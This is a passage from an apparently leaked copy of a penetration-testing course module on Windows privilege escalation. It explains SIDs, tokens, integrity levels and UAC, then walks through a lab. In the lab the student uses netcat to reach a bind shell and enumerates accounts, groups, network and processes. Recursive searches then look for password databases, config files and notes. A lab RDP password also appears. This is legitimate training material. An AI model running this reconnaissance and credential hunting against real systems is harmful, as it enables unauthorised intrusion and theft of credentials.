PEN-200
- Courses
- Penetration Testing with Kali Linux
PEN-200: 16. Windows Privilege Escalation | Leaked by hide01.ir
16. Windows Privilege Escalation
In this Learning Module, we will cover the following Learning Units:
- Enumerating Windows
- Leveraging Windows Services
- Abusing other Windows components
During a penetration test, we often gain our initial foothold on a Windows system as an unprivileged user. However, we usually need administrative privileges to search for sensitive information in other users' home directories, examine configuration files on the system, or extract password hashes with Mimikatz.1 The process of elevating our privileges and access from unprivileged to privileged is called Privilege Escalation.2
While this Module focuses on Windows, the next Module will explore privilege escalation techniques on Linux systems. Once we've completed both, we will not only understand how the security models and attack surfaces of the two operating systems differ, but also how we can leverage privilege escalation vectors on each of them.
In this Module, we'll begin with an introduction to Windows privileges and access control mechanisms. Then, we'll cover how to establish situational awareness on the target system by gathering information. Based on this information, we'll perform various privilege escalation attacks. First, we'll search the system for sensitive information left by users and the OS. Next, we'll learn how to abuse Windows services to attempt privilege escalation attacks. Finally, we'll review other components of Windows, which allow us to elevate our privileges through Scheduled Tasks.3 Finally, we'll investigate the use of exploits.
(Github, 2022), https://github.com/gentilkiwi/mimikatz ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Privilege_escalation ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Windows_Task_Scheduler ↩︎
16.1. Enumerating Windows
This Learning Unit covers the following Learning Objectives:
- Understand Windows privileges and access control mechanisms
- Obtain situational awareness
- Search for sensitive information on Windows systems
- Find sensitive information generated by PowerShell
- Become familiar with automated enumeration tools
Every target can be considered unique due to differences in OS versions, patch levels, system configuration, etc. Therefore, it is important for us to understand how to obtain and leverage information about the target system to achieve privilege escalation. To fully grasp the attack vectors of this Module, we'll first need to get familiar with the Windows privilege structure and access control mechanisms.
While it is very common to use technical attack vectors to achieve privilege escalation, it's often sufficient to merely review information that users and the system leave behind. A couple examples are when a user stores passwords in a text file or Windows records the input of a password in PowerShell. For attackers, this can be a gold mine that leads to higher privileges.
In this Learning Unit, we will start by discussing how Windows privileges and access control mechanisms work. Then, we'll explore methods to establish situational awareness on the system. These methods provide vital information about a target system such as existing users, active network connections, and running applications. Next, we'll examine various areas in Windows where we can search for sensitive information. Finally, we'll review automated tools.
16.1.1. Understanding Windows Privileges and Access Control Mechanisms
Privileges on the Windows operating system refer to the permissions of a specific account to perform system-related local operations (e.g. modifying the filesystem or adding users). To grant or deny these operations, Windows needs control mechanisms to identify the source of the operation and determine if the privileges for the operation are sufficient.
In this section, we'll cover four different concepts and mechanisms: Security Identifier (SID),1 access token,2 Mandatory Integrity Control,3 and User Account Control.4
Windows uses a SID to identify entities. A SID is a unique value assigned to each entity, or principal, that can be authenticated by Windows, such as users and groups. The SID for local accounts and groups is generated by the Local Security Authority (LSA),5 and for domain users and domain groups, it's generated on a Domain Controller (DC). The SID cannot be changed and is generated when the user or group is created.
Windows uses only the SID, not usernames, to identify principals for access control management.
The SID string consists of different parts, delimited by "-", and represented by the placeholders "S", "R", "X", and "Y" in the following listing. This representation is the fundamental structure of a SID.
S-R-X-Y
Listing 1 - SID representation
The first part is a literal "S", which indicates that the string is a SID.
"R" stands for revision and is always set to "1", since the overall SID structure continues to be on its initial version.
"X" determines the identifier authority. This is the authority that issues the SID. For example, "5" is the most common value for the identifier authority. It specifies NT Authority and is used for local or domain users and groups.
"Y" represents the sub authorities of the identifier authority. Every SID consists of one or more sub authorities. This part consists of the domain identifier and relative identifier (RID). The domain identifier is the SID of the domain for domain users, the SID of the local machine for local users, and "32" for built-in principals. The RID determines principals such as users or groups.
The following listing shows an example SID of a local user on a Windows system:
S-1-5-21-1336799502-1441772794-948155058-1001
Listing 2 - SID representation
Listing 2 shows that the RID is 1001. Because the RID starts at 1000 for nearly all principals, this implies that this is the second local user created on the system.
There are SIDs that have a RID under 1000, which are called well-known SIDs.6 These SIDs identify generic and built-in groups and users instead of specific groups and users. The following listing contains some useful well-known SIDs in the context of privilege escalation.
S-1-0-0 Nobody
S-1-1-0 Everybody
S-1-5-11 Authenticated Users
S-1-5-18 Local System
S-1-5-domainidentifier-500 Administrator
Listing 3 - List of Well known SIDs on local machines
While we won't directly work with SIDs in this Module, knowing how Windows identifies principals is necessary to understand access tokens. Additionally, it's vital in the upcoming Active Directory Modules.
Now that we know how Windows identifies principals on a system, let's discuss how Windows determines whether to grant or deny operations. Once a user is authenticated, Windows generates an access token that is assigned to that user. The token itself contains various pieces of information that effectively describe the security context of a given user. The security context is a set of rules or attributes that are currently in effect.
The security context of a token consists of the SID of the user, SIDs of the groups the user is a member of, the user and group privileges, and further information describing the scope of the token.
When a user starts a process or thread, a token will be assigned to these objects. This token, called a primary token, specifies which permissions the process or threads have when interacting with another object and is a copy of the access token of the user.
A thread can also have an impersonation token7 assigned. Impersonation tokens are used to provide a different security context than the process that owns the thread. This means that the thread interacts with objects on behalf of the impersonation token instead of the primary token of the process.
In addition to SIDs and tokens, Windows also implements what is known as Mandatory Integrity Control. It uses integrity levels to control access to securable objects. We can think of these levels as hierarchies of trust Windows has in a running application or securable object.
When processes are started or objects are created, they receive the integrity level of the principal performing this operation. One exception is if an executable file has a low integrity level, the process's integrity level will also be low. A principal with a lower integrity level cannot write to an object with a higher level, even if the permissions would normally allow them to do so.
From Windows Vista onward, processes run on five integrity levels:
- System: SYSTEM (kernel, ...)
- High: Elevated users
- Medium: Standard users
- Low: Very restricted rights often used in sandboxed[^privesc_win_sandbox] processes or for directories storing temporary data
- Untrusted: Lowest integrity level with extremely limited access rights for processes or objects that pose the most potential risk
Listing 4 - Integrity Levels
We can display the integrity level of processes with Process Explorer8 for our current user with whoami /groups, and for files with icacls.9
For example, the following figure shows two PowerShell processes on a Windows system in Process Explorer. One started as a regular user and the other as an administrative user.
The PowerShell processes have the integrity level of High and Medium. Reviewing Listing 4, we can infer that the High integrity level process is started by the administrative user and the Medium integrity level process by the regular user.
Finally, another Windows security technology we need to consider is User Account Control (UAC). UAC is a Windows security feature that protects the operating system by running most applications and tasks with standard user privileges, even if the user launching them is an Administrator. For this, an administrative user obtains two access tokens after a successful logon. The first token is a standard user token (or filtered admin token), which is used to perform all non-privileged operations. The second token is a regular administrator token. It will be used when the user wants to perform a privileged operation. To leverage the administrator token, a UAC consent prompt10 needs to be confirmed.
This concludes our brief introduction to Windows privileges and access control mechanisms. We should now have a basic understanding of SIDs, access tokens, integrity levels, and UAC. Windows offers numerous other mechanisms to control access to securable objects. We'll discuss and demonstrate several more in this Module.
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-overview ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/secauthz/impersonation-tokens ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works ↩︎
16.1.2. Situational Awareness
Now that we have a basic understanding of Windows privileges, we'll cover various methods to get situational awareness on a system. Let's assume we used a client-side attack or exploited a vulnerability to access a Windows system as an unprivileged user. Before we attempt to elevate our privileges, we must obtain information about the system we are on.
This is a crucial step to better understand the nature of the compromised machine and discover possible vectors for privilege escalation. However, it is often skipped or minimized by inexperienced penetration testers since sifting through and interpreting a lot of information is not as exciting as attacking services or machines. Experienced penetration testers know that by gathering as much information as possible, they obtain valuable information about the target system they can use to create various actionable vectors to elevate their privileges.
There are several key pieces of information we should always obtain:
- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes
Listing 5 - Information we should gather to obtain situational awareness
After we perform the enumeration steps to obtain this information, we will have a solid understanding of our target system.
Let's start gathering the information on the CLIENTWK220 system. In this example, we'll assume that we previously started a bind shell on port 4444 through a client-side attack.
If the connection to the bind shell in this or following sections is terminated, it can take up to 1 minute to become accessible again.
Now, let's demonstrate how to obtain the information from Listing 5. For this, we'll connect to the target system with netcat and enter whoami to obtain the first pieces of information: the username and hostname.
kali@kali:~$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.
C:\Users\dave>whoami
whoami
clientwk220\dave
C:\Users\dave>
Listing 6 - Connect to the bind shell and obtain username and hostname
The output of Listing 6 shows that we have command execution as user dave. Additionally, the output contains the hostname of the system, clientwk220. This hostname implies that our bind shell runs on a client system rather than on a server.
The hostname often can be used to infer the purpose and type of a machine. For example, if it is WEB01 for a web server or MSSQL01 for a MSSQL1 server.
Next, we want to check which groups dave is in. To display all groups our current user is a member of, we can use whoami /groups.
C:\Users\dave> whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
CLIENTWK220\helpdesk Alias S-1-5-21-2309961351-4093026482-2223492918-1008 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
...
Listing 7 - Group memberships of the user dave
The output shows that dave is a member of the helpdesk group. Helpdesk staff often have additional permissions and access compared to standard users.
Additionally, the user is a member of BUILTIN\Remote Desktop Users. Membership of this group offers the possibility to connect to the system via RDP.
The other groups dave is a member of are standard for non-privileged users such as Everyone and BUILTIN\Users.
The next piece of information we are interested in are other users and groups on the system. We can use the net user2 command or the Get-LocalUser3 Cmdlet to obtain a list of all local users. Let's use the latter by starting PowerShell and running Get-LocalUser.
C:\Users\dave> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\dave> Get-LocalUser
Get-LocalUser
Name Enabled Description
---- ------- -----------
Administrator False Built-in account for administering the computer/domain
BackupAdmin True
dave True dave
daveadmin True
DefaultAccount False A user account managed by the system.
Guest False Built-in account for guest access to the computer/domain
offsec True
steve True
...
Listing 8 - Display local users on CLIENT220
The output shows several interesting items that can help us to get an overview of the system.
The first one is that the built-in Administrator account is disabled. Next, two presumed regular users called steve and dave exist. In addition, we have identified two other users named daveadmin and BackupAdmin. Both usernames contain "admin", which implies that they are potentially administrative users, making them valuable targets.
We can also assume that daveadmin is the privileged account of dave. Administrators often have both a non-privileged and a privileged account. They use the non-privileged account for day-to-day work and the privileged account for administrative tasks. For security reasons, they don't use the privileged account for performing potentially unsafe tasks such as browsing the internet.
Before we make further assumptions, let's enumerate the existing groups on CLIENTWK220. We can choose between the command net localgroup or Get-LocalGroup4 in PowerShell.
PS C:\Users\dave> Get-LocalGroup
Get-LocalGroup
Name Description
---- -----------
adminteam Members of this group are admins to all workstations on the second floor
BackupUsers
helpdesk
...
Administrators Administrators have complete and unrestricted access to the computer/domain
...
Remote Desktop Users Members in this group are granted the right to logon remotely
...
Listing 9 - Display local groups on CLIENTWK220
Listing 9 displays the non-standard groups adminteam, BackupUsers, and helpdesk.
The adminteam group may be of interest to us since it contains the string "admin" and has a custom description text, indicating the members are admins to all workstations on the second floor. However, we don't currently have any further information regarding which floors exist or which departments are on which floors.
Another interesting finding is the group name BackupUsers as with the user BackupAdmin before. Backup solutions often have extensive permissions to perform their operations on the file system, making both potentially valuable targets.
Apart from the non-standard groups, there are several built-in groups we should analyze, such as Administrators, Backup Operators, Remote Desktop Users, and Remote Management Users.
Members of Backup Operators can backup and restore all files on a computer, even those files they don't have permissions for. We must not confuse this group with non-standard groups such as BackupUsers in our example.
Members of Remote Desktop Users can access the system with RDP, while members of Remote Management Users can access it with WinRM.5
For this example, let's review the members of adminteam and Administrators. We can do this with Get-LocalGroupMember,6 passing the group name as an argument.
PS C:\Users\dave> Get-LocalGroupMember adminteam
Get-LocalGroupMember adminteam
ObjectClass Name PrincipalSource
----------- ---- ---------------
User CLIENTWK220\daveadmin Local
PS C:\Users\dave> Get-LocalGroupMember Administrators
Get-LocalGroupMember Administrators
ObjectClass Name PrincipalSource
----------- ---- ---------------
User CLIENTWK220\Administrator Local
User CLIENTWK220\daveadmin Local
User CLIENTWK220\backupadmin Local
User CLIENTWK220\offsec Local
Listing 10 - Display members of the group adminteam
Listing 10 shows that only daveadmin is a member of adminteam. However, adminteam is not listed in the local Administrators group. We only know that members of the group are administrators to workstations on the second floor. The information we have gathered thus far is not directly actionable, but it may become so when we move deeper into the network and identify which systems reside on the second floor.
The output also shows that apart from the disabled local Administrator account, the users daveadmin and BackupAdmin are members of the local Administrators group. Therefore, we've now identified two highly valuable targets.
While it is crucial to know which users are privileged, it is also vital for us to understand which users can use RDP. Obtaining the credentials for one of these users may lead us to a GUI access, which often tremendously improves our means of interacting with the system.
We've collected quite some information about the users and groups on the target system. Let's briefly summarize what we know so far.
Our bind shell runs as the user dave on a machine with the hostname CLIENTWK220. This user is in a group named helpdesk. Additionally, there is another user named daveadmin which is probably the person's privileged account, while dave may be used for day to day work. The user daveadmin is also in a group named adminteam, whose description indicates it has administrative privileges on all workstations on the second floor. Furthermore, daveadmin and BackupAdmin are local Administrators on CLIENTWK220.
Next, we'll gather information about the actual target machine, its configuration, and applications running on it.
Following the list from listing 5, let's check the operating system, version, and architecture first. We can use systeminfo to gather this information.
PS C:\Users\dave> systeminfo
systeminfo
Host Name: CLIENTWK220
OS Name: Microsoft Windows 11 Pro
OS Version: 10.0.22621 N/A Build 22621
...
System Type: x64-based PC
...
Listing 11 - Information about the operating system and architecture
The output of Listing 11 shows that our bind shell runs on a Windows 11 Pro system. To get the exact version, we can use the build number and review the existing versions7 of the identified operating system. In our case, build 22621 is the version 22H2 of Windows 11.
Additionally, the output contains the information that our bind shell runs on a 64-bit system. This information becomes relevant when we want to run binary files on the system, since we cannot run a 64-bit application on a 32-bit system.
Next, let's move down the list and review the network information we can obtain as dave. Our goal in this step is to identify all network interfaces, routes, and active network connections. Based on this information, we may identify new services or even access to other networks. This information may not directly lead us to elevated privileges, but they are vital to understand the machine's purpose and to obtain vectors to other systems and networks.
Obtaining privileged access on every machine in a penetration test is rarely a useful or realistic goal. While most machines in the challenge labs of this course are rootable, we'll face numerous non-rootable machines in real-life assessments. A skilled penetration tester's goal is therefore not to blindly attempt privilege escalation on every machine at any cost, but to identify machines where privileged access leads to further compromise of the client's infrastructure.
To list all network interfaces, we can use ipconfig8 with the argument /all.
PS C:\Users\dave> ipconfig /all
ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : clientwk220
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-8A-80-16
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::cc7a:964e:1f98:babb%6(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.50.220(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
DHCPv6 IAID . . . . . . . . . . . : 234901590
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-2A-3B-F7-25-00-50-56-8A-80-16
DNS Servers . . . . . . . . . . . : 8.8.8.8
NetBIOS over Tcpip. . . . . . . . : Enabled
Listing 12 - Information about the network configuration
The output shows some interesting information. For example, the system is not configured to get an IP address via DHCP,9 but it was set manually. Furthermore, it contains the DNS server, gateway, subnet mask, and MAC address. These pieces of information will be useful when we attempt to move to other systems or networks.
To display the routing table, which contains all routes of the system, we can use route print.10 The output of this command is useful to determine possible attack vectors to other systems or networks.
PS C:\Users\dave> route print
route print
===========================================================================
Interface List
4...00 50 56 95 01 6a ......vmxnet3 Ethernet Adapter
1...........................Software Loopback Interface 1
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.50.254 192.168.50.220 271
127.0.0.0 255.0.0.0 On-link 127.0.0.1 331
127.0.0.1 255.255.255.255 On-link 127.0.0.1 331
127.255.255.255 255.255.255.255 On-link 127.0.0.1 331
192.168.50.0 255.255.255.0 On-link 192.168.50.220 271
192.168.50.220 255.255.255.255 On-link 192.168.50.220 271
192.168.50.255 255.255.255.255 On-link 192.168.50.220 271
224.0.0.0 240.0.0.0 On-link 127.0.0.1 331
224.0.0.0 240.0.0.0 On-link 192.168.50.220 271
255.255.255.255 255.255.255.255 On-link 127.0.0.1 331
255.255.255.255 255.255.255.255 On-link 192.168.50.220 271
===========================================================================
Persistent Routes:
Network Address Netmask Gateway Address Metric
0.0.0.0 0.0.0.0 192.168.50.254 Default
===========================================================================
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
1 331 ::1/128 On-link
4 271 fe80::/64 On-link
4 271 fe80::1b30:4f11:8789:866a/128
On-link
1 331 ff00::/8 On-link
4 271 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
Listing 13 - Routing table on CLIENTWK220
Listing 13 shows no routes to any previously unknown networks. However, we should always check the routing table on a target system to ensure we don't miss any information.
To list all active network connections we can use netstat11 with the argument -a to display all active TCP connections as well as TCP and UDP ports, -n to disable name resolution, and -o to show the process ID for each connection.
PS C:\Users\dave> netstat -ano
netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 3340
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 1016
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING 3340
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 3508
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1148
TCP 192.168.50.220:139 0.0.0.0:0 LISTENING 4
TCP 192.168.50.220:3389 192.168.48.3:33770 ESTABLISHED 1148
TCP 192.168.50.220:4444 192.168.48.3:58386 ESTABLISHED 2064
...
Listing 14 - Active network connections on CLIENTWK220
The output of listing 14 shows that ports 80 and 443 are listening, usually indicating that a web server is running on the system. Additionally, an open port of 3306 is indicative of a running MySQL12 server.
The output also shows our Netcat connection on port 4444 as well as an RDP connection from 192.168.48.3 on port 3389. This means we are not the only user currently connected to the system. Once we manage to elevate our privileges, we could use Mimikatz and attempt to extract credentials of the user.
Next, we'll check all installed applications. We can query two registry keys13 to list both 32-bit and 64-bit applications in the Windows Registry with the Get-ItemProperty14 Cmdlet. We pipe the output to select with the argument displayname to only display the application's names. We begin with the 32-bit applications and then display the 64-bit applications.
PS C:\Users\dave> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
displayname
-----------
FileZilla 3.63.1
KeePass Password Safe 2.51.1
Microsoft Edge
Microsoft Edge Update
Microsoft Edge WebView2 Runtime
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.28.29913
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.28.29913
PS C:\Users\dave> Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
DisplayName
-----------
7-Zip 21.07 (x64)
XAMPP
VMware Tools
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913
Microsoft Update Health Tools
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913
Update for Windows 10 for x64-based Systems (KB5001716)
Listing 15 - Installed applications on CLIENTWK220
Listing 15 shows that apart from standard Windows applications, the FileZilla15 FTP client, KeePass16 password manager, 7-Zip,17 and XAMPP18 are installed on CLIENTWK220.
As discussed in the Module "Locating Public Exploits", we could search for public exploits for the identified applications after we finish the situational awareness process. We could also leverage password attacks to retrieve the master password of the password manager to potentially obtain other passwords, enabling us to log on as a privileged user.
However, the listed applications from Listing 15 may not be complete. For example, this could be due to an incomplete or flawed installation process. Therefore, we should always check 32-bit and 64-bit Program Files directories located in C:\. Additionally, we should review the contents of the Downloads directory of our user to find more potential programs.
While it is important to create a list of installed applications on the target system, it is equally important to identify which of them are currently running. For this, we'll review the running processes of the system with Get-Process.19
PS C:\Users\dave> Get-Process
Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
58 13 528 1088 0.00 2064 0 access
...
369 32 9548 31320 2632 0 filezilla
...
188 29 9596 19716 3340 0 httpd
486 49 16528 23060 4316 0 httpd
...
205 17 210736 29228 3508 0 mysqld
...
982 32 83696 13780 0.59 2836 0 powershell
587 28 65628 73752 9756 0 powershell
...
...
Listing 16 - Running processes on CLIENTWK220
Listing 16 shows a shortened list of all running processes on CLIENTWK220. It contains our bind shell with ID 2064 and the PowerShell session we started for the enumeration process with ID 9756.
When we review the netstat output of Listing 14 again, we can confirm that the process ID 3508 belongs to mysqld and ID 4316 to Apache displayed as httpd.
Due to the information we obtained previously by listing the installed applications, we can infer that both Apache and MySQL were started through XAMPP.
We gathered quite a lot of information with the previous commands. Let's briefly summarize what we found out about the target system:
The system is a 64-bit Windows 11 Pro Build 22621 with an active web server on ports 80 and 443, MySQL server on port 3306, our bind shell on port 4444, and an active RDP connection on port 3389 from 192.168.48.3. Additionally, we found out that KeePass Password Manager, 7Zip, and XAMPP are installed on the target system.
The information we gathered on users and groups as well as the target system provide a good overview of the machine. In the next section, we'll search for sensitive information on the target system and interpret it based on the information gathered in the situational awareness process.
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Microsoft_SQL_Server ↩︎
(Microsoft Documentation, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771865(v=ws.11) ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localuser?view=powershell-5.1 ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localgroup?view=powershell-5.1 ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/winrm/portal ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localgroupmember?view=powershell-5.1 ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/List_of_Microsoft_Windows_versions ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/route_ws2008 ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netstat ↩︎
(MySQL, 2022), https://www.mysql.com/ ↩︎
(Microsoft Devblog, 2013), https://devblogs.microsoft.com/scripting/use-powershell-to-find-installed-software/ ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-itemproperty?view=powershell-7.2 ↩︎
(Exploit-DB 2024), https://www.exploit-db.com/exploits/51267 ↩︎
(KeePass, 2022), https://keepass.info/ ↩︎
(7Zip, 2022), https://www.7-zip.org/ ↩︎
(Apache Friends, 2022), https://www.apachefriends.org/ ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7.2 ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Check the users of the local group Remote Management Users on CLIENTWK220 (VM #1). Enter a user which is in this group apart from steve.
- Enumerate the installed applications on CLIENTWK220 (VM #1) and find the flag.
- We'll now use an additional machine, CLIENTWK221 (VM #2), to practice what we learned in this section. Access the machine via RDP as user mac with the password IAmTheGOATSysAdmin!. Identify another member of the local Administrators group apart from offsec and Administrator.
- Enumerate the currently running processes on CLIENTWK221 (VM #2). Find a non-standard process and locate the flag in the directory of the corresponding binary file.
16.1.3. Hidden in Plain View
Based on the information found in the previous section, we can assume that the users on CLIENTWK220 use a password manager. However, we should never underestimate the laziness of users when it comes to passwords and sensitive information. What was traditionally the Post-it note with the password under the keyboard is now quite often a text file on the desktop. While browsing the home directory of our user or publicly accessible folders, we can retrieve various pieces of sensitive information, which may provide us a vector for privilege escalation.
For example, sensitive information may be stored in meeting notes, configuration files, or onboarding documents. With the information we gathered in the situational awareness process, we can make educated guesses on where to find such files.
Now, let's search CLIENTWK220 for sensitive information. We have identified that KeePass and XAMPP are installed on the system and therefore, we should search for password manager databases and configuration files of these applications.
For this, we again connect to the system's bind shell. Let's begin our search by entering C:\ as argument for -Path and *.kdbx as argument for -Include to search for all password manager databases on the system with Get-ChildItem1 in PowerShell.
PS C:\Users\dave> Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Listing 17 - Searching for password manager databases on the C:\ drive
Listing 17 shows that no password manager databases could be found in our search.
Next, let's search for sensitive information in configuration files of XAMPP. After reviewing the documentation,2 we enter *.txt,*.ini for -Include because these file types are used by the application for configuration files. Additionally, we enter C:\xampp as argument for -Path.
PS C:\Users\dave> Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
...
Directory: C:\xampp\mysql\bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/16/2022 1:42 PM 5786 my.ini
...
Directory: C:\xampp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/13/2017 4:04 AM 824 passwords.txt
-a---- 6/16/2022 10:22 AM 792 properties.ini
-a---- 5/16/2022 12:21 AM 7498 readme_de.txt
-a---- 5/16/2022 12:21 AM 7368 readme_en.txt
-a---- 6/16/2022 1:17 PM 1200 xampp-control.ini
Listing 18 - Searching for sensitive information in XAMPP directory
Listing 18 shows us that our search returned two files that may contain sensitive information. The file my.ini is the configuration file for MySQL and passwords.txt contains the default passwords for the different XAMPP components. Let's review them.
PS C:\Users\dave> type C:\xampp\passwords.txt
type C:\xampp\passwords.txt
### XAMPP Default Passwords ###
1) MySQL (phpMyAdmin):
User: root
Password:
(means no password!)
...
Postmaster: Postmaster (postmaster@localhost)
Administrator: Admin (admin@localhost)
User: newuser
Password: wampp
...
PS C:\Users\dave> type C:\xampp\mysql\bin\my.ini
type C:\xampp\mysql\bin\my.ini
type : Access to the path 'C:\xampp\mysql\bin\my.ini' is denied.
At line:1 char:1
+ type C:\xampp\mysql\bin\my.ini
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\xampp\mysql\bin\my.ini:String) [Get-Content], UnauthorizedAccessEx
ception
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
Listing 19 - Review the contents of passwords.txt and my.ini
Unfortunately, the file C:\xampp\passwords.txt only contains the unmodified default passwords3 of XAMPP. Furthermore, we don't have permissions to view the contents of C:\xampp\mysql\bin\my.ini.
Next, let's search for documents and text files in the home directory of the user dave. We enter *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx as file extensions to search for and set -Path to the home directory.
PS C:\Users\dave> Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Directory: C:\Users\dave\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/16/2022 11:28 AM 339 asdf.txt
Listing 20 - Searching for text files and password manager databases in the home directory of dave
Listing 20 shows we that found a text file on the desktop of dave named asdf.txt. Let's check the contents of this file.
PS C:\Users\dave> cat Desktop\asdf.txt
cat Desktop\asdf.txt
notes from meeting:
- Contractors won't deliver the web app on time
- Login will be done via local user credentials
- I need to install XAMPP and a password manager on my machine
- When beta app is deployed on my local pc:
